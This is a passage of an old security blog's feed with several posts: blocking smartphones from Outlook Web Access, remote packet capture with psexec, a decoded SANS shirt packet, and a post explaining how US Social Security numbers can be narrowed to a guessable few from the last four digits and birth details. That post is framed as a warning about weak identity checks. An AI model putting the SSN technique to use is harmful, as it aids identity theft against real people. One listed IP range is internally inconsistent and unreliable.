Go.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;!--StartFragment--&gt;&lt;span&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;RewriteEngine  on&lt;br /&gt;#Block Blackberry and other smartphones&lt;br /&gt;RewriteCond %{&lt;/span&gt;&lt;span style="color:#0000FF;"&gt;&lt;u&gt;&lt;a href="http://www.blogger.com/User-Agent"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;HTTP:User-Agent&lt;/span&gt;&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;}  (?:BWC.Worker.*|BWC.Engine.*|MSFT-SPhone.*|PalmOne-TreoAce.*|AvantGO.*) [NC]  &lt;br /&gt;RewriteRule .? -  [F,L]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;This takes care of all of the Microsoft Smart Phones, Palm Treo's and AvantGo users.   In my testing it also breaks the &lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia;"&gt;functionality&lt;/span&gt; on the Blackberries.  However, Blackberries which use BIS still make requests with IE user agents strings which are not blocked.   The BIS service uses multiple user agents including IE and the BWC agents.  You can block the BIS address ranges from reaching OWA at your firewall.  Those ranges are: &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style=" "&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 255, 255);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span"   style="color: rgb(68, 68, 68);   line-height: 15px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; font-family:Tahoma;font-size:12px;"&gt;&lt;li style="margin-bottom: 5px; "&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 255, 255);"&gt;206.53.144.0 - 206.53.159.255&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li style="margin-bottom: 5px; "&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 255, 255);"&gt;216.9.240.0 - 216.9.255.255&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li style="margin-bottom: 5px; "&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 255, 255);"&gt;67.233.64.0 - 67.223.95.255&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;I found these on Bill Warnke's blog.   &lt;a href="http://www.billwarnke.com/index.php/tech/38-internet/54-blocking-blackberry-bis-from-accessing-exchangeowa-email"&gt;Here&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;Blackberry posts their ranges in this &lt;a href="http://www.blackberry.com/btsc/search.do?cmd=displayKC&amp;amp;docType=kc&amp;amp;externalId=KB11036&amp;amp;sliceId=SAL_Public&amp;amp;dialogID=69199896&amp;amp;stateId=0%200%20692"&gt;article&lt;/a&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Continue to review your IIS logs to watch for other User-Agents.   The following unix commands will show you all the User-Agents accessing your system.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;cat \windows\system32\logfiles\w3svc1\* | awk '{print $11}' | sort | uniq&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-3992850360743168389?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/3992850360743168389'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/3992850360743168389'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2008/04/blocking-blackberry-from-accessing-owa.html' title='OWA - A GAPING HOLE IN YOUR FIREWALL'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-8065794610857804083</id><published>2008-04-02T17:13:00.002-04:00</published><updated>2008-04-02T17:15:01.736-04:00</updated><title type='text'>Effectiveness of Antivirus</title><content type='html'>I finished and published my white paper on the Effectiveness (or lack there of) of Antivirus software in detecting metasploit payloads.   Check it out..&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.sans.org/reading_room/whitepapers/casestudies/2134.php"&gt;http://www.sans.org/reading_room/whitepapers/casestudies/2134.php&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-8065794610857804083?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/8065794610857804083'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/8065794610857804083'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2008/04/effectiveness-of-antivirus.html' title='Effectiveness of Antivirus'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-5529478087992778918</id><published>2008-04-02T17:08:00.005-04:00</published><updated>2008-04-10T09:46:04.134-04:00</updated><title type='text'>More to the SANS shirt</title><content type='html'>DRAT. That wasn't it. As soon as I reread my own entry I saw the "45 00..." and recognized it as the tell sign of an IP packet header. Wrap it in a Ethernet frame and you find its an UDP packet DNS query to &lt;a href="http://www.sans.org/"&gt;http://www.sans.org/&lt;/a&gt;. &lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial; font-size: 13px; font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;em&gt;&lt;span style="font-family:arial;font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial; font-size: 13px; font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial; font-size: 13px; font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial; font-size: 13px; font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-5529478087992778918?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/5529478087992778918'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/5529478087992778918'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2008/04/drat.html' title='More to the SANS shirt'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-2463983700059105375</id><published>2008-03-25T16:08:00.003-04:00</published><updated>2008-03-25T16:15:13.565-04:00</updated><title type='text'>Sans Shirt... Is that it?</title><content type='html'>So I got this black shirt at sans with a bunch of Hex on the back.    I've tried stuffing it in various drawers and corners of my closet.  At least once I was able to cause a hamper overflow.  I began to wonder if I had been 0wn3d.   Decoding the hex I get what is below.  Is there more to it?&lt;br /&gt;&lt;br /&gt;E..#....@.V..........5....W;.............www.sans.org..............X..A..jThe trustd source for usted source)for information security training acd research. www.giac.org A GIAC certification is your assurance the student has `astered the sans coureware.&lt;br /&gt;&lt;br /&gt;Here is the hex.&lt;br /&gt;&lt;br /&gt;45 00 01 23 0D E8 00 00 40 11 56 B9 0A 00 01 01 0A 00 01 02 00 35 07 C0 00 E1 57 3B 00 02 89&lt;br /&gt;80 00 01 00 01 00 00 00 03 03 77 77 77 04 73 61 6E 73 03 6F 72 67 00 00 01 00 01 C0 0C 00 01&lt;br /&gt;00 01 00 00 02 58 00 04 41 AD DA 6A 54 68 65 20 74 72 75 73 74 64 20 73 6F 75 72 63 65 20 66&lt;br /&gt;6F 72 20 75 73 74 65 64 20 73 6F 75 72 63 65 29 66 6F 72 20 69 6E 66 6F 72 6D 61 74 69 6F 6E&lt;br /&gt;20 73 65 63 75 72 69 74 79 20 74 72 61 69 6E 69 6E 67 20 61 63 64 20 72 65 73 65 61 72 63 68&lt;br /&gt;2E 20 77 77 77 2E 67 69 61 63 2E 6F 72 67 20 41 20 47 49 41 43 20 63 65 72 74 69 66 69 63 61&lt;br /&gt;74 69 6F 6E 20 69 73 20 79 6F 75 72 20 61 73 73 75 72 61 6E 63 65 20 74 68 65 20 73 74 75 64&lt;br /&gt;65 6E 74 20 68 61 73 20 60 61 73 74 65 72 65 64 20 74 68 65 20 73 61 6E 73 20 63 6F 75 72 65&lt;br /&gt;77 61 72 65 2E&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-2463983700059105375?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/2463983700059105375'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/2463983700059105375'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2008/03/sans-shirt-is-that-it.html' title='Sans Shirt... Is that it?'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-5374305193125638374</id><published>2007-07-11T10:03:00.001-04:00</published><updated>2008-04-30T09:40:38.922-04:00</updated><title type='text'>Windows TCPDUMP without installing WINPCAP!!!!!!!!</title><content type='html'>IMHO, This is a long time coming for Windows.  I love this thing.  You probably already know about it, but I haven't read much about it anywhere and Its been very useful to me.  Its a version of tcpdump for windows that doesn't require I install the Winpcap drivers.  I use it along with PSEXEC to start remote sniffing probes on Windows workstations.   I'm sure its NOT forensically sound to do this in on a box that may contain evidence because of the swap file, but for information gathering something like this is very useful.&lt;br /&gt;&lt;br /&gt;So with this..&lt;br /&gt;&lt;a href="http://www.microolap.com/downloads/tcpdump/tcpdump.zip"&gt;http://www.microolap.com/downloads/tcpdump/tcpdump.zip&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Something like this&lt;br /&gt;&lt;br /&gt;\mytools\psexec.exe &lt;a href="file://remotecomputer/"&gt;\\remotecomputer&lt;/a&gt; -c \mytools\tcpdump.exe -i 1 -s0 -w &lt;a href="file://remotefileserver/share/capturename.cap"&gt;\\remotefileserver\share\capturename.cap&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Lets me turn every node on my network into a remote Snort probe, or just capture anamolies!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-5374305193125638374?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.indepthdefense.com/feeds/5374305193125638374/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3840785077954302324&amp;postID=5374305193125638374' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/5374305193125638374'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/5374305193125638374'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2007/07/my-vote-for-longest-overdue-tool-for.html' title='Windows TCPDUMP without installing WINPCAP!!!!!!!!'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-1300630703293430406</id><published>2007-06-28T12:05:00.000-04:00</published><updated>2007-06-28T12:10:17.702-04:00</updated><title type='text'>Went Rafting.  Had a lot of fun</title><content type='html'>&lt;a href="http://2.bp.blogspot.com/_wHrCn3UcXN0/RoPdUHt4oiI/AAAAAAAAAAQ/rdZL1r1MWnI/s1600-h/smallIMG_0662.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5081148142342677026" style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://2.bp.blogspot.com/_wHrCn3UcXN0/RoPdUHt4oiI/AAAAAAAAAAQ/rdZL1r1MWnI/s320/smallIMG_0662.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-1300630703293430406?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.indepthdefense.com/feeds/1300630703293430406/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3840785077954302324&amp;postID=1300630703293430406' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/1300630703293430406'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/1300630703293430406'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2007/06/went-rafting-had-lot-of-fun.html' title='Went Rafting.  Had a lot of fun'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_wHrCn3UcXN0/RoPdUHt4oiI/AAAAAAAAAAQ/rdZL1r1MWnI/s72-c/smallIMG_0662.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-6405949203768970857</id><published>2007-05-28T18:18:00.000-04:00</published><updated>2007-05-28T18:19:48.246-04:00</updated><title type='text'>What are the last 4 digits of your SSN?</title><content type='html'>“What are the last 4 digits of your SSN?”  Nowadays, it seems to be accepted as a standard question to validate your identity.   But throw in “What is your date of birth” and “What is your birth place?” and you may have given away your identity.   I don't think it would be uncommon to find those three questions asked together in many cognitive password reset systems.  Last week I  answered the question with my bank and it made me wonder how predictable is my SSN with the rest of the information my bank has on me. I did a little research and sure enough, it seems feasible to me that with a few pieces of info and your last four an attacker could reasonable predict your SSN.   The number of permutations are certainly low enough to make a brute force attack feasible.&lt;br /&gt;&lt;br /&gt;First of all lets clarify something.  The question “Where were you born?” is probably a good indicator of the actual question that needs to be asked which is “In what state did you apply for a SSN?”   And “What is your birth date?” is not as accurate as “What date did you apply for a SSN?”   But in a non-scientific polling of people I have asked it seems that your probably close enough.&lt;br /&gt;&lt;br /&gt;Now lets look at predicting your SSN…&lt;br /&gt;&lt;br /&gt;Your SSN is in the following format AAA-BB-CCCC.   AAA is a number that represents the state in which you applied for the SSN.   These numbers well documented and available on the Social Security Administrations website.   For example, Were you born in Nevada?  Your SSN starts with 530.   New Mexico?  525.   Most states have a range of a few digits. But lets say you were issued your SSN in New Mexico and you gave me your last 4;  with no other information it will only require 99 guesses to guarantee I will predict your SSN.. In 1973 these numbers became even more closely tied to your geography.  Now all number are issued by the central office in Baltimore based upon the ZIPCODE of the submitter.   So those  numbers can be predicted based upon the date your SSN was applied for and/or your zip code.   But brute forcing 99 whole possibilities, that could take a while.  But perhaps its even easier than that. &lt;br /&gt;&lt;br /&gt;The second group of digits (BB) are handed out in a semi-sequential, but still chronological order.  Therefore with the correct insight into which numbers where issued at what time you could predict this information.   A good explanation of how these numbers are issued is in the “GROUP NUMBER” section on this site.  http://www.usrecordsearch.com/ssn.htm&lt;br /&gt;&lt;br /&gt;So what would it take to build a database of middle number and when they were issued?  Well, looks like the SSA has already done that for us and published it on their website.  They have what they refer to as the “High group number”.  Every month they predict what the highest middle digits are for each of the geographic codes.    The numbers can be found here…&lt;br /&gt;&lt;br /&gt;http://www.ssa.gov/employer/ssnvhighgroup.htm&lt;br /&gt;&lt;br /&gt;So in April 2006 the middle digits for the first three state codes were :&lt;br /&gt;001 = 04&lt;br /&gt;002 = 02&lt;br /&gt;003 = 02&lt;br /&gt;&lt;br /&gt;Then in May of 2006 they became&lt;br /&gt;001=04&lt;br /&gt;002=04  (the next group according to their sequence)&lt;br /&gt;003=02&lt;br /&gt;&lt;br /&gt;In October of 2006 geographic code 003 began issuing number with 04 as the middle two&lt;br /&gt;001=04&lt;br /&gt;002=04&lt;br /&gt;003=04&lt;br /&gt;&lt;br /&gt;In May of 2007 geographic code 001 began issuing number with 06 as the middle two.&lt;br /&gt;001=06&lt;br /&gt;002=04&lt;br /&gt;003=04&lt;br /&gt;&lt;br /&gt;Today the history of "high groups" only date back to November 2003 on the main website.   But 4 years seems to be long enough to determine how quickly the digits in various geographical areas change.   That information combined with data from other public sources such as the number of births in a state in a given year  would be helpful in establishing a prediction database.&lt;br /&gt;&lt;br /&gt;Reading these descriptions it is obvious that numbers are issued chronologically based upon geography of the requester.   So how difficult would it be for a computer to either accurately predict or come reasonably close such that a brute force is reasonable.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here is a table of states and SSN geographic codes&lt;br /&gt;&lt;br /&gt;  001-003 NH            400-407 KY              530     NV&lt;br /&gt;  004-007 ME                    408-415 TN              531-539 WA&lt;br /&gt;  008-009 VT                    416-424 AL              540-544 OR&lt;br /&gt;  010-034 MA                    425-428 MS              545-573 CA&lt;br /&gt;  035-039 RI                    429-432 AR              574     AK&lt;br /&gt;  040-049 CT                    433-439 LA              575-576 HI&lt;br /&gt;  050-134 NY                    440-448 OK              577-579 DC&lt;br /&gt;  135-158 NJ                    449-467 TX              580     VI Virgin Islands&lt;br /&gt;  159-211 PA                    468-477 MN              581-584 PR Puerto Rico&lt;br /&gt;  212-220 MD            478-485 IA              585     NM&lt;br /&gt;  221-222 DE                    486-500 MO              586     PI Pacific Islands*&lt;br /&gt;  223-231 VA                    501-502 ND              587-588 MS&lt;br /&gt;  232-236 WV                    503-504 SD              589-595 FL&lt;br /&gt;  237-246 NC                    505-508 NE              596-599 PR Puerto Rico&lt;br /&gt;  247-251 SC                    509-515 KS              600-601 AZ&lt;br /&gt;  252-260 GA                    516-517 MT              602-626 CA&lt;br /&gt;  261-267 FL                    518-519 ID              627-645 TX&lt;br /&gt;  268-302 OH                    520     WY              646-647 UT&lt;br /&gt;  303-317 IN                    521-524 CO              648-649 NM&lt;br /&gt;  318-361 IL                    525     NM    *Guam, American Samoa,&lt;br /&gt;  362-386 MI                    526-527 AZ     Philippine Islands,&lt;br /&gt;  387-399 WI                    528-529 UT     Northern Mariana Islands&lt;br /&gt;&lt;br /&gt;  650-699 unassigned, for future use&lt;br /&gt;  700-728 Railroad workers through 1963, then discontinued&lt;br /&gt;  729-799 unassigned, for future use&lt;br /&gt;  800-999 not valid SSNs.  Some sources have claimed that numbers&lt;br /&gt;          above 900 were used when some state programs were converted&lt;br /&gt;          to federal control, but current SSA documents claim no&lt;br /&gt;          numbers above 799 have ever been used.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://www.usrecordsearch.com/ssn.htm&lt;br /&gt;http://en.wikipedia.org/wiki/Social_Security_number&lt;br /&gt;http://www.ssa.gov/employer/ssnvhighgroup.htm&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-6405949203768970857?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.indepthdefense.com/feeds/6405949203768970857/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3840785077954302324&amp;postID=6405949203768970857' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/6405949203768970857'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/6405949203768970857'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2007/05/what-are-last-4-digits-of-your-ssn.html' title='What are the last 4 digits of your SSN?'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
